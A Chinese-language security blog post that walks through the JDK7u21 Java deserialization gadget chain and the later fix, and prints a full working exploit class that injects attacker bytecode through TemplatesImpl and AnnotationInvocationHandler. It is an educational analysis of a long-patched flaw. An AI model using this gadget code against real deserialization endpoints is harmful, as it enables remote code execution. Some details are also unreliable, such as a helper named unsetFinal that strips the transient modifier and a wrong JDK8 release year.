jdk原生链分析

原文链接

作为jdk中目前发现的原生链,还是有必要要分析这个用法的。全文仅限尽可能还原挖掘思路

JDK7u21

在很多链中,TemplatesImpl一直发挥着不可或缺的作用,它是位于jdk源码中的一段Gadget:getOutputProperties()->newTransformer()->getTransletInstance()->...

templatesImpl利用回顾:

  1. 加载对象需要是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet的实现类
  2. 需要设置_name,_bytecodes
  3. _tfactory属性在高版本需要设置,jdk7u21中不是必须,看jdk版本而言-》defineTransletClasses

其中只要能触发上述任意一个函数的,都可以完成TemplatesImpl的动态加载字节码功能。1.所以我们看jdk中是否有调用这三个函数?

还记得sun.reflect.annotation.AnnotationInvocationHandler嘛?这可是java反序列化中的重要角色。而jdk7u21算是对其利用的再挖掘。

为了简单直接,我把反编译的代码中的var变量替换了自定义变量

//AnnotationInvocationHandler.java
private Boolean equalsImpl(Object var1) {
if (var1 == this) {
return true;
} else if (!this.type.isInstance(var1)) {
return false;
} else {
Method[] methods = this.getMemberMethods();//获取this.type的所有方法
int methods_num = methods.length; for(int var4 = 0; var4 < methods_num; ++var4) {
Method var5 = methods[var4];
String var6 = var5.getName();
Object var7 = this.memberValues.get(var6);
Object var8 = null;
AnnotationInvocationHandler var9 = this.asOneOfUs(var1);//判断var1是否是代理类
if (var9 != null) {
var8 = var9.memberValues.get(var6);
} else {
try {
var8 = var5.invoke(var1); //调用任意方法
} catch (InvocationTargetException var11) {
return false;
} catch (IllegalAccessException var12) {
throw new AssertionError(var12);
}
} if (!memberValueEquals(var7, var8)) {
return false;
}
} return true;
}
} private Method[] getMemberMethods() {
if (this.memberMethods == null) {
this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {
public Method[] run() {
Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods();
AccessibleObject.setAccessible(var1, true);
return var1;
}
});
} return this.memberMethods;
}

到这里,可以看到this.memberMethods可控,到现在也就是说如果能让AnnotationInvocationHandler调用equalImpl方法,且控制其中的memberMethods,就可以完成任意方法的调用了。

2.怎么触发equalsImpl?

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else {
......
}
}

关键逻辑:如果代理对象调用了equals方法,且满足equals方法有且仅有一个Object类型的参数。

当前exp,成功触发

//read evil bytecode-2
FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class"); int available = is.available();
byte[] bytes = new byte[available];
is.read(bytes,0,available); //construct TemplatesImpl
TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes}); Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Aur0ra"); Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap()); //set anno.type
setValue(anno,"type",TemplatesImpl.class); unsetFinal(anno,"memberMethods");
setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")}); Map map = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno);
map.equals(templates);

3.接下来就是想办法怎么触发equals方法,且参数可控

要求反序列化中会进行equals方法的,直接可以去全局搜索,这里借用codeql的话就很香了。

4.这里就直接丢出目前链子的利用点,直接采用hashMap之类的?为什么采用这个类呢?

//HashMap.java
public V put(K key, V value) {
if (key == null)
return putForNullKey(value);
int hash = hash(key);
int i = indexFor(hash, table.length);
for (Entry<K,V> e = table[i]; e != null; e = e.next) {
Object k;
if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {
V oldValue = e.value;
e.value = value;
e.recordAccess(this);
return oldValue;
}
} modCount++;
addEntry(hash, key, value, i);
return null;
}

map类在反序列化时肯定进行put操作,这时,我们直接看put方法。其中会有equals操作,前提是key的hash相等,但key不等,相当于就是做hash碰撞》》》也就是让proxy的hash与Templates的hash相等

yso中巧妙的构造hash-->参照<java 安全漫谈>

final int hash(Object k) {
int h = 0;
if (useAltHashing) {
if (k instanceof String) {
return sun.misc.Hashing.stringHash32((String) k);
}
h = hashSeed;
} h ^= k.hashCode(); // This function ensures that hashCodes that differ only by
// constant multiples at each bit position have a bounded
// number of collisions (approximately 8 at default load factor).
h ^= (h >>> 20) ^ (h >>> 12);
return h ^ (h >>> 7) ^ (h >>> 4);
}

可以看到,hash就是直接调用了对象的hashCode方法生成的。

但对象templates的hashcode是一个native方法,每次计算都会变动。所以现在只能看Proxy的hash计算了,需要让proxy的hash动态等于tempaltesimpl的hash

private int hashCodeImpl() {
int var1 = 0; Entry var3;
for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {
var3 = (Entry)var2.next();
} return var1;
}

它的计算方式就是累加 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())

关键点:由于0异或任何等于任何数,此时如果让key的hash等于0,而value等于templatesImpl,那最后不就一直相等了嘛

for (long i = 0; i < 99999999L; i++) {
if (Long.toHexString(i).hashCode() == 0) {
System.out.println(Long.toHexString(i));
}
}

得到了一个f5a5a608,使得((String)var3.getKey()).hashCode()==0,所以我们只需要将AnnotationHandler中的Map添加一组map.put("f5a5a608", templates);即可。

5.利用逻辑梳理

hashMap#put->hashcode相等,所以直接调用AnnotationInvocationHandler#equalsImpl->再就是上面分析的利用

6.附上分析结果(有些赘余,此处略优化

package sec.aur0ra;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.ByteArrayInputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.lang.annotation.Annotation;
import java.lang.annotation.Retention;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map; public class Gadget {
public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, TransformerConfigurationException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
//read evil bytecode-1
//InputStream is = Aur0ra.class.getResourceAsStream("Aur0ra.class"); //read evil bytecode-2
FileInputStream is = new FileInputStream("D:\\Projects\\JAVA\\jdkSer\\target\\test-classes\\Aur0ra.class"); int available = is.available();
byte[] bytes = new byte[available];
is.read(bytes,0,available); //construct TemplatesImpl
TemplatesImpl templates = new TemplatesImpl(); Class<? extends TemplatesImpl> clazz = templates.getClass(); Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates,new byte[][]{bytes}); Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"Aur0ra"); Class<?> annoClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = annoClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object anno = declaredConstructor.newInstance(Annotation.class,new HashMap()); //set anno.type
setValue(anno,"type",TemplatesImpl.class); unsetFinal(anno,"memberMethods");
setValue(anno,"memberMethods",new Method[]{clazz.getDeclaredMethod("getOutputProperties")}); Map proxy = (Map) Proxy.newProxyInstance(Gadget.class.getClassLoader(), new Class[]{Map.class}, (InvocationHandler) anno); HashMap map = new HashMap();
map.put("f5a5a608", templates); unsetFinal(anno,"memberValues");
setValue(anno,"memberValues",map); HashMap hashMap = new HashMap();
hashMap.put(templates,templates);
hashMap.put(proxy,123); } public static void setValue(Object obj,String filed,Object value){
try {
Field declaredField = obj.getClass().getDeclaredField(filed); declaredField.setAccessible(true); declaredField.set(obj,value);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
} public static void unsetFinal(Object obj,String field) throws NoSuchFieldException, IllegalAccessException {
Class<?> aClass = obj.getClass();
Field declaredField = aClass.getDeclaredField(field); Field modifiers = declaredField.getClass().getDeclaredField("modifiers");
modifiers.setAccessible(true);
modifiers.set(declaredField,declaredField.getModifiers()&~Modifier.TRANSIENT);
}
}

疑点重重

  1. 为什么采用TemplatesImpl#newTransformer,而不直接采用getTransletInstance?

    你试试就知道了。是因为最后调用时,getTransletInstance是private方法,无法被触发,所以采用了newTransformer,当然采用getOutputProperties也是可以的。

  2. 为什么很多地方给的不是hashmap而是LinkedHashSet等?

    采用LinkedHashSet是因为它重新进行put时,会按照既定的顺序,会直接影响利用结果。这里的话,似乎影响不大,但也有可能出现错误。

  3. type需要使用Templates.class,而不是TemplatesImpl.class

修复与分析

  1. 为什么jdk7u21前的版本中,不是Annotation类照样可以成功运行exp呢?

    可以看到,这里type已成功赋值为目标Class对象,所以下面return的时候,不影响序列化的结果。

    这里留个疑问:为什么明显目标需要是private final Class<? extends Annotation> type;,而这里放了一个TemplatesImpl在里面,这不是不合乎语法嘛?

  2. 官方修复操作

​ 如果不一致,就直接抛出异常,从而结束执行。

如果抛出异常被try-catch处理后,特殊情况下是不是会存在被利用的可能性呢?

拓展分析

  1. jdk的很多版本都是并行开发的,那是不是说有可能这个jdk7u21在其他版本的jdk中也存在呢?

​ 通过对比开发时间,jdk8出来时(2017年),这个已经被修复了,所以以上就不存在利用了。那是不是jdk<jdk7都存在这个洞呢?也不是,因为是并行开发的,jdk6或者其他版本也是在更新迭代,所以也只有部分jdk6或者其他版本收到影响。

JDK8u20

好像和上面留的思路一致,就是利用try-catch机制,处理异常,并继续运行put操作。

关键点:beancontextsupport

这里就先不做分析了,更多的是涉及序列化处理的操作。再另一篇文章分析。

参考

java 安全漫谈

jdk8u20反序列化分析

[Java反序列化]jdk原生链分析的更多相关文章

  1. 动态代理:JDK原生动态代理(Java Proxy)和CGLIB动态代理原理+附静态态代理

    本文只是对原文的梳理总结,以及自行理解.自己总结的比较简单,而且不深入,不如直接看原文.不过自己梳理一遍更有助于理解. 详细可参考原文:http://www.cnblogs.com/Carpenter ...

  2. Java反序列化漏洞总结

    本文首发自https://www.secpulse.com/archives/95012.html,转载请注明出处. 前言 什么是序列化和反序列化 Java 提供了一种对象序列化的机制,该机制中,一个 ...

  3. 通过WebGoat学习java反序列化漏洞

    首发于freebuff. WebGoat-Insecure Deserialization Insecure Deserialization 01 概念 本课程描述了什么是序列化,以及如何操纵它来执行 ...

  4. Java 序列化 JDK序列化总结

    Java 序列化 JDK序列化总结 @author ixenos Java序列化是在JDK 1.1中引入的,是Java内核的重要特性之一.Java序列化API允许我们将一个对象转换为流,并通过网络发送 ...

  5. 多线程(七)JDK原生线程池

    如同数据库连接一样,线程的创建.切换和销毁同样会耗费大量的系统资源.为了复用创建好的线程,减少频繁创建线程的次数,提高线程利用率可以引用线程池技术.使用线程池的优势有如下几点:        1.保持 ...

  6. Java反序列化漏洞实现

    一.说明 以前去面试被问反序列化的原理只是笼统地答在参数中注入一些代码当其反序列化时被执行,其实“一些代码”是什么代码“反序列化”时为什么就会被执行并不懂:反来在运营商做乙方经常会因为java反反序列 ...

  7. 学习笔记 | java反序列化漏洞分析

    java反序列化漏洞是与java相关的漏洞中最常见的一种,也是网络安全工作者关注的重点.在cve中搜索关键字serialized共有174条记录,其中83条与java有关:搜索deserialized ...

  8. 浅谈java反序列化工具ysoserial

    前言 关于java反序列化漏洞的原理分析,基本都是在分析使用Apache Commons Collections这个库,造成的反序列化问题.然而,在下载老外的ysoserial工具并仔细看看后,我发现 ...

  9. 对ysoserial工具及java反序列化的一个阶段性理解【未完成】

    经过一段时间的琢磨与反思,以及重读了大量之前看不懂的反序列化文章,目前为止算是对java反序列化这块有了一个阶段性的小理解. 目前为止,发送的所有java反序列化的漏洞中.主要需要两个触发条件: 1. ...

随机推荐

  1. 2_状态空间_State Space

  2. 巧用CSS3:target 伪类制作Dropdown下拉菜单(无JS)

    原文链接:http://devework.com/css3-target-dropdown.html :target 是CSS3 中新增的一个伪类,用以匹配当前页面的URI中某个标志符的目标元素(比如 ...

  3. 【Android开发】URL[] 转成 bitmap[]

    public static Bitmap[] getBitmapFromURL(String[] path) throws MalformedURLException { Bitmap[] b = n ...

  4. Python IDLE清屏

    在学习和使用Python的过程中,少不了要与Python IDLE打交道.但使用 Python IDLE 都会遇到一个常见而又懊恼的问题--要怎么清屏? 答案是为IDLE增加一个清屏的扩展ClearW ...

  5. Makefile 简介

    一.引例: #Makefile objects=test1.o test2.o main:$(objects) gcc -o main $(objects) clean: rm main $(obje ...

  6. Django高级之-缓存

    一 缓存介绍 在动态网站中,用户所有的请求,服务器都会去数据库中进行相应的增,删,查,改,渲染模板,执行业务逻辑,最后生成用户看到的页面. 当一个网站的用户访问量很大的时候,每一次的的后台操作,都会消 ...

  7. JAVASE Scanner

    package com.huang.boke.flowPath;import java.util.Scanner;public class test01 { public static void ma ...

  8. LC-844

    给定 s 和 t 两个字符串,当它们分别被输入到空白的文本编辑器后,如果两者相等,返回 true .# 代表退格字符. 注意:如果对空文本输入退格字符,文本继续为空. 示例 1: 输入:s = &qu ...

  9. k8s节点执行master命令报错 localhost:8080 was refused

    首先是按照二进制方式安装的k8s. [root@ht22 calico]# cat /etc/redhat-release CentOS Linux release 7.9.2009 (Core) [ ...

  10. Typora基本使用语法(超好用的代码编辑工具)

    Typora代码编辑软件,一款适合新手小白的做笔记工具,操作简单,大家可以去试试......